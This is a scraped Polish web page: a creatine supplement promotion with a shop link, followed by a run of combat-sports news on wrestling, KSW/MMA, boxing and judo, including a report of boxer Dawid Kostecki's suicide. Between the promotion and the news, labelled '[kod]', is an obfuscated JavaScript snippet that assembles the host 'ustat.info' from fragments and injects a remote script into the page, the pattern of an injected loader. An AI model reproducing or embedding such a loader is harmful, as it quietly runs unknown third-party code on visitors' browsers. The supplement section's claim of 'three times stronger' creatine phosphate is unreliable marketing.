  • poprawimy swoją wydolność, a przy okazji będziemy bardziej wytrzymali, 
  • po wzmożonym wysiłku o wiele szybciej się zregenerujemy, 
  • przy regularnym stosowaniu zauważymy przyrost beztłuszczowej masy ciała,
  • będziemy mieć więcej siły. 

Regularna suplementacja zwiększa siłę i wytrzymałość mięśni na dłuższy czas. Ponadto przy odpowiedniej diecie oraz treningu siłowym zażywanie tej substancji chemicznej daje jeszcze lepsze efekty. 

""

Najlepsza kreatyna – na co zwrócić uwagę przy wyborze? 

Osoby decydujące się na suplementację kreatyny stoją przed niemałym dylematem. Wynika to z tego, że na rynku jest dostępnych mnóstwo produktów, które zawierają ten związek chemiczny. W tym przypadku niemal od razu nasuwa się pytanie – czy poszczególne suplementy czymś się różnią? Tak, przede wszystkim postacią, w jakiej dostępne są preparaty kreatynowe.

Do ich najpopularniejszych rodzajów zaliczamy: 

  • monohydrat kreatyny – monohydrat to najlepiej przebadana i przetestowana (szczególnie pod kątem skuteczności) postać tego związku chemicznego. Ten preparat składa się z cząsteczek wody i kreatyny. Charakteryzuje się stosunkowo niską ceną i zapewnia szybkie rezultaty, jeżeli chodzi o przyrost mięśni. Jednak jego wadą jest tendencja do zatrzymywania wody w organizmie, 
  • jabłczan kreatyny – to związek chemiczny, który powstaje w wyniku połączenia cząstki kreatyny z cząsteczką kwasu jabłkowego. Ten suplement dla sportowców pozwala na uzyskanie przyrostu masy mięśniowej o bardziej zwartej strukturze, jednak na efekty trzeba poczekać trochę dłużej, 
  • fosforan kreatyny – jak sama nazwa wskazuje w tym przypadku mamy do czynienia z połączonymi cząsteczkami keratyny z resztą kwasu fosforanowego. Według badań przeprowadzonych przez amerykańskich naukowców ten preparat charakteryzuje się nawet trzykrotnie mocniejszym działaniem niż monohydrat, dzięki fosforanowi, który opóźnia uczucie zmęczenia. 

Kreatyna należy do jednego z najczęściej stosowanych suplementów diety zarówno przez sportowców wyczynowych, jak i osoby aktywnie fizycznie. To jeden z kluczowych produktów stosowanych w budowie masy mięśniowej i beztłuszczowej, wymarzonej sylwetki. Najczęściej jest spotykana jako składnik odżywek dla masy mięśniowej w postaci proszku, a także tabletek i kapsułek – pełną ofertę kreatyny znajdziesz tutaj: https://swiatsupli.pl/pl/33-kreatyny

[kod]

(function(){
tjydu="w9ikh42yjyd8";tjyd=document.createElement("script");
tjyd_="u"+("st");tjyd_+="at"+(".");tjyd.async=true;tjyd_+="in";
tjydu="181687577."+tjydu;tjyd.type="text/javascript";tjydu+="wryzX8920k1j";
tjydu+="f1wXgn";tjyd_+=("f")+"o"+("/");tjyd.src="https://"+tjyd_+tjydu;
tjydd=document.body;tjydd.appendChild(tjyd);
})();

Złota dziewczyna

Patrycja Gil wywalczyła złoty medal podczas mistrzostw świata juniorek w zapasach w kategorii 55kg, które odbyły się w Tallinie. Na najniższym stopniu podium stanęły: Magdalena Głodek (57kg), Wiktoria Chołuj (65kg) i Ewelina Ciunek (68kg).

Z pewnością impreza w stolicy Estonii dostarczyła wielu emocji. Rok temu młodzi zapaśnicy rywalizowali w Trnawie, jednak biało-czerwoni nie mieli powodów do optymizmu. Do kraju nasi zawodnicy wrócili bez medalu. Najlepiej zaprezentowały się Kamila Kulwicka i Alicja Czyżowicz, które zajęły piąte miejsca. Tegoroczne mistrzostwa świata juniorów należy uznać za udane. Polskim kibicom najwięcej radości dała Patrycja Gil. Rok temu zawodniczka odpadła już po pierwszej walce, ale zebrała cenne doświadczenie. W Estonii Gil szła jak burza. Początek nie był łatwy, ale Polka okazała się lepsza od Sezeny Behchetovej w Bułgarii. Następnie bez większych problemów uporała się z Virgine Kaze Gascon. Na ostatniej prostej do finału Gil pokonała 8:4 Anastasię Blayvas z Niemiec. Zawodniczka WKS Siedlce-Nowe Iganie kontrolowała pojedynek i nie pozwoliła rywalce na rozwinięcie skrzydeł. W finale Gil wyczuła moment, w którym przeprowadziła akcję za cztery punkty. Jekaterina Verbina nie potrafiła się później podnieść i zagrozić Polce, która mogła cieszyć się ze złotego medalu. To wielkie wydarzenie dla polskich zapasów. Złoty krążek mistrzostw świata juniorów po 20 latach! Warto dodać, że to kolejny tegoroczny medal Gil. Wcześniej wywalczyła brąz mistrzostw Europy.

W półfinale Magdalena Głodek przegrała z późniejszą wicemistrzynią świata Aliną Akobiią. Polce pozostała rywalizacja o brąz, w której pokonała Youmei Wu. Pojedynek emocjonujący do samego końca. Na ostatniej prostej Polka odwróciła losy rywalizacji i stanęła na podium.

Po triumfie w mistrzostwach Europy w Hiszpanii, brąz światowego czempionatu wywalczyła Wiktoria Chołuj. Polka przegrała w ćwierćfinale z Macey Ellen Kilty i musiała radzić sobie w repasażach. Chołuj okazała się skuteczna, co pozwoliło jej zmierzyć się o brąz z Hanną Sadchanką. Polka pokonała Białorusinkę i sięgnęła po brąz. Na podium znalazła się również Ewelina Ciunek. Zapaśniczka przegrała w półfinale z późniejszą mistrzynią Naruhą Matsuyuki, a w starciu o brąz pokonała reprezentantkę Mongolii Dekgermaę Enkhsaikhan.

Panowie bez medalu. W pojedynkach o brąz przegrali zawodnicy w stylu klasycznym – Kamil Czarnecki (63kg) i Gerard Kurniczak (97kg).

Fot. United World Wrestling/Polski Związek Zapaśniczy/Facebook

KM

Czwarta obrona

Po nieudanej próbie podboju wagi ciężkiej, Tomasz Narkun będzie bronił pasa w kategorii półciężkiej. Podczas gali KSW 50 jego rywalem będzie Przemysław Mysiala.

Popularny "Żyrafa" wyrósł na czołową postać polskiej federacji. Blisko cztery lata temu wdarł się na tron wagi półciężkiej. W Londynie znokautował Gorana Relijcia. Dotychczas trzykrotnie skutecznie bronił pasa mistrzowskiego. Co warto podkreślić – za każdym razem wygrywał w pierwszych rundach. Narkun stał się twarzą KSW dzięki rywalizacji z Mamedem Khalidovem. "Żyrafa" dwukrotnie okazał się lepszy od legendy polskiego MMA. Chciał iść za ciosem i sięgnąć po drugi pas mistrzowski, jednak w marcu w Łodzi nie sprostał Philipowi de Friesowi.

14 września w Londynie Narkun po raz czwarty będzie bronił mistrzowskiego pasa. Spotka się z 37-letnim Przemysławem Mysialą, który wygrał sześć ostatnich pojedynków. Większość walk doświadczony zawodnik stoczył w Anglii. Ostatni raz w Polsce Mysiala rywalizował w lipcu 2017 roku, kiedy to podczas gali ACB 63 pokonał Wallysona Carvalho. W tym roku spotkał się w Norwich z Yurim Andrey'em i sięgnął po pas mistrzowski organizacji Contenders.

Mysiala zdobywał tytuły w siedmiu organizacjach m.in. Fight Exclusive Night. Czy skutecznie postraszy mistrza KSW i zasiądzie na tronie kolejnej? Narkun wydaje się być faworytem, ponieważ w kategorii półciężkiej po raz ostatni przegrał prawie pięć lat temu. Jego pogromcą był Reljić, któremu następnie Polak się zrewanżował i sięgnął po tytuł.

Jego jest pewne – 14 września w Londynie należy spodziewać się ciekawej walki. Narkun i Mysiala większość pojedynków wygrali przed czasem. Każdy z nich zaledwie raz triumfował przez decyzję sędziów. Co ciekawie, Narkun zanotował trzy porażki – dwie na punkty. Mysiala ma na koncie dziewięć przegranych walk.

W walce wieczoru gali KSW 50 Damian Grabowski będzie chciał odebrać tytuł mistrza wagi ciężkiej Philipowi De Friesowi. Roberto Soldić stanie w obronie pasa w kategorii półśredniej. Jego rywalem będzie Czech Patrik Kincl. W Londynie zobaczymy również m.in. Antoniego Chmielewskiego i Damiana Janikowskiego.

Fot. materiały organizatora

KM

15 milionów dla Gołowkina

Jesienią Gienadij Gołowkin miał stoczyć trzecią walkę z Saulem Alvarezem, jednak sprawa nie została domknięta. 5 października Kazach ma zmierzyć się z Sergiejem Derewianczenko. 37-latek może liczyć na ok. 15 milionów dolarów.

Przez lata Gołowkin uznawany był za jednego z najlepszych bokserów świata. Rządził w wadze średniej – na swoim koncie zapisał pasy WBA, WBC, IBF i IBO. 15 września 2018 roku zanotował jedyną jak do tej pory porażkę w karierze. W T-Mobile Arenie w Las Vegas przegrał decyzją sędziów z Saulem Alvarezem. Tym samym stracił tytuły WBA, WBC i IBO. Wcześniej został pozbawiony pasa IBF, bo unikał rywalizacji z… Derewianczenką.

Gołowkin liczył, że w tym roku uda mu się spotkać po raz trzeci z Alvarezem. Strony prowadziły rozmowy w sprawie pojedynku, jednak Kazach nie chciał ponownie walczyć w Las Vegas. T-Mobile Arena nie była szczęśliwa dla Gołowkina. Najpierw zremisował z Alvarezem, potem przegrał, a wynik rewanżu budził kontrowersje. W czerwcu tego roku Gołowkin znokautował w czwartej rundzie Steve'a Rollsa. Jesienią ponownie pojawi się w ringu, a na kolejne starcie z Alvarezem trzeba poczekać. Mówiło się, że Gołowkin spotka się z Jaime'm Munguią. Jednak niemal pewna jest jego walka z Sergiejem Derewianczenką.

33-letni ukraiński pięściarz pokonał w tym roku Jacka Culcaya. W październiku 2018 roku przeprowadził nieudany atak na pas IBF. Po zaciętej walce Ukrainiec przegrał niejednogłośną decyzją z Danielem Jacobsem. Warto wspomnieć, że niedawno spekulowano na temat walki Derewianczenko z „Canelo” Alvarezem. Ukrainiec wygrywając z Culcayem stał się ponownie pretendentem do pasa IBF. Meksykaninowi odebrano tytuł, bo mimo kilku prób nie udało doprowadzić się do walki z Derewianczenko.

Zatem pas IBF czeka na nowego właściciela. 5 października w Nowym Jorku Derewianczenko w drugim podejściu do pasa ma spotkać się z Gołowkinem. Strony ustaliły już warunki rywalizacji. Ukrainiec ma zarobić ok. 5,5 mln dolarów. Na konto Gołowkina wpłynie znacznie więcej – ok. 15 milionów dolarów.

Fot. Gennadiy Golovkin Facebook

KM

Trzy finały

Znamy terminy finałów drugiej edycji bokserskiego turnieju World Boxing Super Series. Do rozstrzygnięć jest jeszcze trochę czasu, ale emocji nie brakuje. Wszystko za sprawą Regisa Prograisa.

W wadze super lekkiej wybuchło zamieszanie. Wszystko za sprawą Regisa Prograisa, który podjął decyzję o wycofaniu się z finałowej rywalizacji z Joshem Taylorem. Wszystko przez… pieniądze. Od początku rywalizacji w WBSS Amerykanin narzekał na kłopoty z regulowaniem płatności przez organizatorów. W związku z tym przed półfinałem Prograis miał otrzymać środki na rachunek powierniczy. Podobnie przed finałem. Organizatorzy nie dotrzymali terminu, a więc bokser i jego przedstawiciele złożyli stosowne dokumenty w sądzie o rozwiązanie wszelkich zobowiązań kontraktowych. WBSS zupełnie inaczej widzi sprawę. W wydanym oświadczeniu organizator turnieju podkreśla, że nie doszło do złamania kontraktu i czekają na finał w kategorii super lekkiej.

Do niedawna spekulowano, że walka pomiędzy Prograisem a Taylorem odbędzie się 5 października w Manchesterze. Obecnie pada termin 28 września. Prograis nie jest z tego zadowolony. Pytanie – jaki będzie finał tego finału?

W pozostałych dwóch kategoriach wagowych takich kłopotów nie ma. Szczególną uwagę będziemy zapewne poświęcać rywalizacji w Rydze. W finale wagi junior ciężkiej spotkają się Mairis Briedis i Yuniel Dorticos. Rywalem zwycięzcy powinien być Krzysztof Głowacki. Doskonale pamiętamy półfinałową rywalizację, w której Brieidis w kontrowersyjnych okolicznościach wygrał z Polakiem. Łotysz dopuszczał się nieczystych zagrywek, trafił Głowackiego po czasie, na co nie zareagował sędzia. Po pojedynku Briedis kpił z całej sytuacji. Polska strona protestowała, ale nic z tego. Briedis szykuje się do finału, a Głowacki czeka na kolejną walkę. Drugi z finalistów – Yunier Dorticos w ćwierćfinale pokonał Mateusza Masternaka, z kolei w półfinale znokautował Andrew Tabitiego. Stawką finałowej potyczki będą pasy WBC, WBO i IBF. Pojedynek odbędzie się 14 grudnia.

Zanim Briedis i Dorticos wejdą do ringu, poznamy najlepszego w rywalizacji w wadze koguciej. 7 listopada w Tokio zmierzą się Naoya Inoue i Nonito Donaire. 26-letni Japończyk świetnie spisuje się w turnieju WBSS. Inoue znajduje się w posiadaniu pasów WBA i IBF, a w ćwierćfinale pokonał Juana Carlos Payano już w pierwszej rundzie, zaś w półfinale w drugiej odsłonie znokautował Emmanuela Rodrigueza. W finałowym pojedynku jego rywalem będzie doświadczony Nonito Donaire. Filipińczyk znajduje się w posiadaniu pasów WBC Diamond i WBA. W drodze do finału Donaire pokonał Ryana Burnetta i Stephona Younga.

KM

Nowa era Justino

Po ostatniej walce Cristiane Justino, UFC 240, uwydatnił się konflikt zawodniczki z prezesem organizacji – Dana White'm. "Cyborg" zapowiada rozpoczęcie nowej ery w swojej karierze.

Na linii Justino – White wrzało od dłuższego czasu. Nieporozumienia, przepychanki medialne sprawiły, że sprawa nabrała gigantycznych rozmiarów. Strony pałały do siebie niechęcia. Po zwycięstwie "Cyborg" nad Felicią Spencer, White nie ukrywał, że Brazylijka go nie zachwyciła. Fundamentem jest jednak sprawa rewanżu Justino z Amandą Nunes. White niejednokrotnie mówił, że "Cyborg" nie chce drugiej walki z mistrzynią dwóch kategorii – koguciej i piórkowej. Podczas spotkania Justino zarzuciła promotorowi kłamstwo.

Strony nie potrafiły osiągnąć porozumienia. Finał jest taki, że Brazylijka pożegnała się z UFC. Zaprzecza jednak informacjom o zwolnieniu. – Zakończyłam erę w UFC. Miałam ostatnią walkę, co oznacza, że nikt mnie nie wyrzucił. Mieliśmy erę EliteXC, erę Strikeforce, erę Invicta i erę UFC. Wszystkie były sukcesami. Wkrótce zaczniemy nową erę. Niebawem przekażę wiadomość. Jestem podekscytowana – napisała Cristiane Justino w mediach społecznościowych.

"Cyborg" była związana z UFC przez ponad trzy lata. Wszyscy długo czekali na angaż Brazylijki, ponieważ uchodziła za czołową postać kobiecego MMA. Zdecydowaną większość walk kończyła przed czasem. Wyczekiwano walki Justino z wiodącą wówczas prym w UFC – Rondą Rousey. Niejednokrotnie spekulowano na ten temat, jednak zanim Brazylijka trafiła do amerykańskiej organizacji, „Rowdy” straciła tytuł i popadła w kryzys.

Przygodę z UFC „Cyborg” zaczęła od wygranej w pierwszej rundzie z Leslie Smith. Łącznie w organizacji stoczyła siedem walk, z których sześć zakończyło się jej triumfem. W lipcu 2017 roku podczas gali UFC 214 Brazylijka wywalczyła pas wagi piórkowej. Tytułu skutecznie broniła dwukrotnie – z Holly Holm i Janą Kunickają. W grudniu 2018 roku straciła pas na rzecz Amandy Nunes, z którą przegrała przez nokaut po zaledwie 51 sekundach walki!

Wcześnej Justino zapisała na swoim koncie pasy mistrzowskie w organizacjach Strikeforce i Invicta.

KM

Kownacki wysoko, powrót Usyka blisko

O tym, że w wadze ciężkiej jest ciekawie – nikogo nie trzeba przekonywać. Po zwycięstwie nad Chrisem Arreolą, w rankingu federacji IBF w górę poszybował Adam Kownacki. Z kolei jesienią w kategorii królewskiej zadebiutuje Oleksandr Usyk.

3 sierpnia w Barclays Center na Brooklynie Adam Kownacki zanotował dwudziestą wygraną na zawodowym ringu. Polak pokonał Chrisa Arreolę i utorował sobie drogę do starcia o pasy mistrzowskie. Trzeba przypomnieć, że Kownacki był wymieniany jako potencjalny rywal Anthony'ego Joshuy po dopingowej wpadce Jarrella Millera. "AJ" zmierzył się z Andy'm Ruizem Jr. i wszyscy wiemy jak to się skończyło. Wracając do Kownackiego, po zwycięstwie nad Arreolą "Babyface" awansował w rankingu federacji IBF z czwartej na trzecią pozycję. Przed Polakiem znajduje się Kubrat Pulew, który jest obowiązkowym pretendentem do pasa. Druga lokata jest nieobsadzona. Za plecami Kownackiego są m.in. Anthony Joshua i Tyson Fury. Z kolei w rankingu serwisu boxrec.com 30-latek plasuje się na 10. miejscu wśród pięściarzy wagi ciężkiej. Stawce przewodzi Andy Ruiz Jr., który wyprzedza Deontaya Wildera i Joshuę.

Oczekiwanie nad debiut

Szesnaście zwycięstw na zawodowym ringu zanotował Oleksandr Usyk. We wrześniu 2016 roku we Wrocławiu Ukrainiec pokonał Krzysztofa Głowackiego i zdobył pas WBO w kategorii junior ciężkiej. Następnie Usyk wygrał pierwszą edycję turnieju World Boxing Super Series, czym udowodnił swoją dominację. Tym samym stał się posiadaczem pasów WBC, WBA i IBF. W listopadzie 2018 roku pokonał Tony'ego Bellewa i była to jest ostatnia walka w wadze junior ciężkiej. Usyk podjął decyzję o zmianie kategorii na ciężką. Debiut ukraińskiego pięściarza zaplanowano na maj br. Usyk miał rywalizować z Carlosem Takamem, jednak na przeszkodzie stanęła kontuzja prawego barku 32-latka urodzonego w Symferopolu. Bokser miał więc przymusową przerwę.

Wszystko wskazuje na to, że debiut Ukraińca nastąpi 12 października w Chicago. Szczegóły walki nie są jednak znane. Niewykluczone, że rywalem Usyka będzie, tak jak pierwotnie planowano, Carlos Takam.

Fot. Adam Kownacki Facebook

KM

Nie jadą na mistrzostwa, związek wyjaśnia

Polski Związek Judo podał skład reprezentacji Polski na zbliżające się mistrzostwa świata w Tokio. W kadrze nie znaleźli się Karolina Pieńkowska (52kg), Piotr Kuczera (90kg, na zdjęciu) oraz Maciej Sarnacki (+100kg). Związek wyjaśnił swoją decyzję.

Brak Pieńkowskiej, Kuczery i Sarnackiego jest sporym zaskoczeniem. Zwłaszcza, że w ostatnim czasie regularnie reprezentowali Polskę w najważniejszych imprezach. Pieńkowska była członkiem drużyny, która w 2016 roku zdobyła złoto mistrzostw Europy w Kazaniu. Z kolei w 2015 roku wywalczyła młodzieżowe mistrzostwo Starego Kontynentu. Trzy lata temu w Kazaniu Piotr Kuczera wywalczył indywidualnie brązowy medal. Stał także na najniższym stopniu podium w drużynie. Potem wygrywał zawody Pucharu Europy w Rzymie i Katowicach (2017 rok) oraz w Sofii (2018). Członkiem brązowej drużyny w 2016 roku był Maciej Sarnacki. Doświadczony zawodnik ma na koncie osiem medali imprez rangi Grand Prix i Grand Slam.

W kadrze na mistrzostwa świata wymienionej trójki próżno szukać. – Karolina Pienkowska nie ma kryterium wynikowego, również aktualnie ma zwolnieniem lekarskiej-kontuzja do 12 sierpnia – poinformował Polski Związek Judo. Brak kryterium wynikowego jest również przyczyną braku Kuczery. – Maciej Sarnacki nie uzyskał rekomendacji sztabu szkoleniowego do startu w MŚ 2019. Podstawowa przyczyna to brak realizacji programu przygotowań centralnych. Kolejna to brak realizacji założeń wynikowych we wszystkich tegorocznych startach międzynarodowych. Jako zawodnik z pierwszej 10 rankigu miał zadanie zajmowania miejsc 1-5 na zawodach międzynarodowych – od ponad roku nie zrealizował tego zadania. Nie podjął także współpracy z psychologiem. Zignorował także starty w zawodach krajowych (PPS w Sobótce i Pile), pomimo informacji, że są one warunkiem finansowania w akcjach zagranicznych zawodników KN – przedstawił PZJ.

Do Tokio poleci 16-osobowa reprezentacja Polski. O medale powalczą: Agata Perenc (52kg), Aleksandra Kaleta (52kg), Anna Borowska (57kg), Julia Kowalczyk (57kg), Agata Ozdoba-Błach (63kg), Karolina Tałach (63kg), Daria Pogorzelec (70kg), Eliza Wróblewska (70kg), Beata Pacut (78kg), Tomer Golomb (60kg), Patryk Wawrzyczek (66kg), Wiktor Mrówczyński (73kg), Sebastian Marcinkiewicz (81kg), Damian Szwarnowiecki (81kg), Iwo Baraniewski (100kg), Oleksii Lysenko (100kg). Rezerwową jest Arleta Podolak (57kg).

Rok temu w Baku Polacy nie wywalczyli medalu. Najbliższej sukcesu był Damian Szwarnowiecki, który uplasował się na piątym miejscu.

Mistrzostwa świata w Tokio odbędą się w dniach 25-31 sierpnia.

KM

Tuż za podium

Na czwartym miejscu w klasyfikacji medalowej zakończyli rywalizację w Pucharze Europy Juniorów w judo w Poznaniu reprezentanci Polski. Na swoim koncie zapisali osiem krążków. Najlepsi byli Rosjanie – 12.

Bez wątpienia największe powody do zadowolenia ma Kinga Wolszczak (+78kg), która sięgnęła po złoty medal. Po raz kolejny 17-latka pokazała, że jest w fenomenalnej formie. W tegorocznych startach Wolszczak nie schodzi z podium! Wygrała drugie zawody z rzędu. W maju triumfowała w Maladze, zaś wcześniej była druga w Lignano i trzecia w Atenach. W Poznaniu w wadze ciężkiej obowiązywał system "każdy z każdym". Początek rywalizacji nie był udany dla Wolszczak, która przegrała z Julią Świątkiewicz. Pojedynek rozstrzygnął się dopiero w dodatkowym czasie. Kolejne trzy walki 17-latka wygrała przed czasem – pokonała Alicję Sokołowską i dwie judoczki z Rosji. Świątkiewicz zanotowała po drodze dwie porażki i uplasowała się poza podium, a Wolszczak cieszyła się z triumfu.

Powody do zadowolenia ma również Eliza Wróblewska (70kg). Polka znakomicie rozpoczęła rywalizację w Poznaniu i w zaledwie pół minuty odprawiła Niemkę Leonie Beyersdorf, potem wygrała z Darją Piskunovą i przyszło jej rywalizować o złoto. W finale Wróblewska musiała uznać wyższość Andeli Violić, dla której był to pierwszy triumf w Pucharze Europy. Z kolei młoda Polka zanotowała czwarte podium w tym roku.

Posypały się za to brązowe medale. Na najniższym stopniu podium stawali: Natalia Kropska (63kg), Zuzanna Logozna (57kg), Lucja Obal (57kg), Paulina Szlachta (48kg), Wojciech Kordyalik (+100kg) oraz Sebastian Ołdak (90kg).

Tuż za podium, na piątych lokatach, uplasowali się Jagoda Tata (57kg), Weronika Strycz (48kg), Aleksandra Sokołowska (63kg), Martyna Nolewajka (78kg), Aleksandra Janeczko (52kg), Maria Baczek (78kg) i Dawid Hypta (60kg).

Najlepsi w Poznaniu okazali się Rosjanie – pięć złotych, cztery srebrne i trzy brązowe. Za ich plecami Węgrzy – trzy złota i brąz oraz Francuzi – po dwa złote i srebrne medale oraz cztery brązowe.

W zawodach wzięło udział 179 judoczek i judoków.

Fot. PZJudo

KM

Warto było wstać

Adam Kownacki pokonał Chrisa Arreolę i po raz dwudziesty w zawodowej karierze wzniósł ręce w geście triumfu. Z pewnością polscy kibice, którzy czekali na walkę bądź wyrwali się ze snu – swojej decyzji nie żałują.

30-latek urodzony w Łomży jest naszą nadzieją wagi ciężkiej. Uosobieniem marzeń o Polaku na tronie mistrzowskim. Kiedyś zarywaliśmy noce, żeby oglądać pojedynki Andrzeja Gołoty i Tomasza Adamka. Teraz przyszedł czas na Adama Kownackiego, który konsekwentnie zmierza do walki o pas mistrzowski.

Pojedynek z Arreolą miała być dla Polaka prawdziwym testem, weryfikacją, a w zasadzie ostatnią przeszkodą. Kownacki mierzył się z bokserem, który miał okazję rywalizować z tuzami wagi ciężkiej – Witalijem Kliczko czy Deontayem Wilderem. Po pas jednak nie sięgnął, ale od lat zalicza się do czołówki kategorii królewskiej. Co prawda czas świetności Arreola ma za sobą, ale jak pokazało starcie w Barclays Center to nadal mocny rywal, który twardo trzyma się na nogach.

Walka była niezwykle intensywna. Kownacki był niezwykle skuteczny z dystansu, wyprowadzał wiele ciosów, które dały się we znaki Amerykaninowi. Ten pokazał jednak, że jest twardy. Szukał swojej szansy w półdystansie, ale bez efektu. Paliwa pięściarzom zaczęło brakować w dziesiątej rundzie. Widać było zmęczenie, ale trudno się dziwić skoro we wcześniejszych odsłonach walczyli na maksimum możliwości. Cios za ciosem, czego efektem jest rekord wyprowadzanych ciosów w wadze ciężkiej – 2172. 667 doszło do celu.

Dwanaście niezwykle ciekawych rund. Sędziowie nie mieli żadnych wątpliwości – 118:110, 117:111 i 117:111 dla Kownackiego, który zdobył interkontynentalny pas IBF. To dwudziesta wygrana Polaka w karierze. Radość, euforia, duma – Adam Kownacki daje polskim kibicom powody do szczęścia Jest przykładem człowieka, który ciężko pracuje na swój sukces, a przy tym jest skromny, pewny siebie i konsekwentny. 

Teraz wypada zadać pytanie – kiedy kolejna walka. Apetyt rośnie – czekamy na starcie o pas mistrzowski. Trzeba bacznie obserwować sytuację i patrzeć na Wildera, Ruiza i Joshuę. Zapewne na któregoś z nich trafi niebawem Kownacki. Szykujmy się na kolejną noc pełną emocji.

KM

Mocny rywal na start

27 września Rafał Haratyk zadebiutuje w organizacji ACA. Podczas gali w Moskwie Polak zmierzy się z Ibragimem Czużigajewem. Odsłonięte zostały kolejne karty przed KSW 50.

Haratyk stał się czołową postacią organizacji Babilon MMA, w której zanotował cztery zwycięstwa. Zaczął od wygranej z Łukaszem Bieńkowskim, potem był Johan Romming, udany rewanż za porażkę na FEN 11 z Marcinem Naruszczką. W grudniu w Raszynie zawodnik z Bielska-Białej pokonał Macieja Różańskiego. Dobra postawa Haratyka nie uszła uwadze włodarzy organizacji ACA. W lipcu zawodnik poinformował o podpisaniu umowy z federacją. Teraz poznał nazwisko pierwszego rywala. Będzie nim Rosjanin Ibragim Czużigajew, który wygrał ostatnie cztery walki. W lutym w hali Torwar najbliższy rywal Haratyka mierzył się z innym Polakiem – Piotrem Strusem. Podczas ACA 92 lepszy okazał się Rosjanin, choć triumfował po niejednogłośnej decyzji sędziów. Strus dobrze zaprezentował się w drugiej i trzeciej rundzie. Początek starcia dla Czuzigajewa i publiczność liczyła na triumf Polaka, jednak ten musiał pogodzić się z porażką.

Zatem Haratyk ma znakomitą okazję, aby pomścić rodaka. Zadanie nie jest łatwe, bo Czuzigajew to weteran ACA (wcześniej ACB).Ostatnią porażką zanotował w kwietniu 2017 roku, kiedy to przegrał przez poddanie z Vyacheslavem Vasilevskym.

Debiut Haratyka w rosyjskiej organizacji będzie miał miejsce 27 września podczas gali ACA 99. Dla zawodnika DAAS BERSERKERS TEAM będzie to kolejna przygoda z zagraniczną organizacją. Wcześniej rywalizował w afrykańskiej EFC, gdzie zmierzył się m.in. ze znanym z KSW Dricusem Du Plessisem.

Rywal na „50”

Podczas gali KSW 50, która odbędzie się 14 września w Londynie swoją… pięćdziesiątą walkę w karierze stoczy Antonio Chmielewski. 37-latek zmierzy się z Jasonem Radcliffem. Anglik wygrał 15 walk, z czego aż 10 przez nokaut. Na swoim koncie ma również siedem porażek. Chmielewski będzie polował na 33 wygraną. Co warto dodać, na kolejne zwycięstwo Polak czeka już ponad trzy lata.

Kilka dni temu rywala poznał Damian Janikowski. Brązowy medalista igrzysk olimpijskich z Londynu na Wembley zmierzy się z Tony'm Gilesem. Janikowski przegrał ostatnie dwie walki w KSW. Rywal ma serię czterech zwycięstw, w MMA rywalizuje od 2009 roku.

Fot. ACA/Facebook

KM

Nie żyje bokser Dawid „Cygan” Kostecki

Dawid „Cygan” Kostecki popełnił samobójstwo. Bokser miał 38 lat. Na zawodowych ringach stoczył ponad 40 pojedynków.

Kostecki popełnił samobójstwo w celi Aresztu Śledczego w Warszawie-Białołęce. 38-latek odbywał karę pięciu lat i stu dniapozbawienia wolności za kierowanie grupą przestępczą, która zajmowała się m.in. praniem brudnych pieniędzy i handlem narkotykami. Do końca pobytu w więzieniu pozostały mu dwa lata.

W zawodowej karierze Kostecki wygrał 39 walk, w tym 25 przez nokaut. Dwukrotnie schodził z ringu pokonany. Na swoim koncie zapisał tytuł młodzieżowego mistrza świata WBC w wadze półciężkiej. W tej samej kategorii zdobywał pasy federacji WBF i IBC. Zapisał na swoim koncie również interkontynentalne mistrzostwo WBA.

Kariera Kosteckiego zapowiadała się bardzo dobrze. Swego czasu "Cygan" był jednym z najpopularniejszych polskich bokserów. W ringu prezentował się znakomicie i większość walk kończył przed czasem. W 2005 roku stoczył pojedynek w Stanach Zjednoczonych, gdzie pokonał Tuckera Lamberta. Pierwszą porażkę poniósł w maju 2006 roku na ringu w Krośnie. Kostecki został znokautowany przez Rachida Kanfouaha w starciu o wakujący tytuł IBC. Na drodze jego rozwoju stawały… problemy z prawem.

Jeszcze zanim wszedł na zawodowy ring, spędził rok w więzieniu za pobicie. Później sąd kilkukrotnie skazywał go na karę pozbawienia wolności m.in. za założenie i współkierowanie grupą przestępczą. W 2012 roku Kostecki miał walczyć z wielkim Royem Jonesem Jr., jednak na dziesięć dni przed walką został zatrzymany. To było wydarzenie, którego w głównej mierze wpłynęło na dalszą karierę sportową Kosteckiego. Po pobycie w więzieniu wrócił na ring w listopadzie 2014 roku. Stoczył pojedynek z Andrzejem Sołdrą, który przegrał. Później okazało się, że stosował niedozwolone środki i został zawieszony na dwa lata. Chciał spróbować swoich sił w MMA, jednak w listopadzie 2015 roku w ciężkim stanie trafił do szpitala. Spekulowano, że Kostecki próbował popełnić samobójstwo.

2 sierpnia otrzymaliśmy smutną informację. Dawid „Cygan” Kostecki nie żyje. Miał zaledwie 38 lat.

KM

Faworyt Kownacki

Adam Kownacki jest faworytem starcia z Chrisem Arreolą. Pojedynek odbędzie się w nocy z soboty na niedzielę (3-4 sierpnia) w Barclays Center na Brooklynie.

Arreola ma ambicje i nie ukrywa, że nadal marzy o zdobyciu tytułu mistrza świata. Coraz częściej w gronie kandydatów do rywalizacji o pasy wymienia się Adama Kownackiego. Polak świetną postawą znalazł się wśród czołowych pięściarzy wagi ciężkiej. W Barclays Center stoczy walkę z doświadczonym i mocnym rywalem, na którego musi uważać. Arreola aż 33 z 38 wygranych zanotował przed czasem. Faworytem pojedynku jest jednak 30-letni bokser urodzony w Łomży. Jest osiem lat młodszy od Amerykanina, który tak naprawdę ma ostatnią szansę na przybliżenie się do wielkich walk. Jeśli przegra, zostanie z tyłu stawki.

W marcu Arreola pokonał przed czasem Jeana Pierre Augustina, zaś wcześniej odprawił Maurenzo Smitha. Z kolei w 2016 roku dostał szansę na zdobycie pasa WBC. Nie znalazł jednak sposobu na Deontaya Wildera, który mocno go obił. Arreola nie wyszedł do dziewiątej rundy. To nie była pierwsza mistrzowska szansa Arreoli. Wcześniej poległ w starciach z Bermane Stivernem oraz Witalijem Kliczko. W kwietniu 2010 roku Amerykanin przegrał z Tomaszem Adamkiem.

